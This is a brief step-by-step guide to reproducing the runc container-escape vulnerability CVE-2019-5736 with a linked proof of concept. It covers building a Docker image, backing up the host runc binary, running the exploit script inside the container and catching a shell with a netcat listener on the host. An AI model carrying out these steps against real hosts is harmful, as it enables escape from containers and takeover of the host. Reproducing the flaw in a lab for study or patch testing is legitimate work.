- (1). Compile stage2.c into an executable file.
- (2). Create a DockerFile and run docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). Back up the runc binary with cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). Access it with docker exec -it cve /bin/bash.
- (6). Inside docker run cd /root && ./run.sh && exit
- (7). Listen on the host with nc -nlvvp 4455
- (8). Connect to the container with docker exec -it cve /bin/bash
Reference: https://github.com/agppp/cve-2019-5736-poc
Thank you.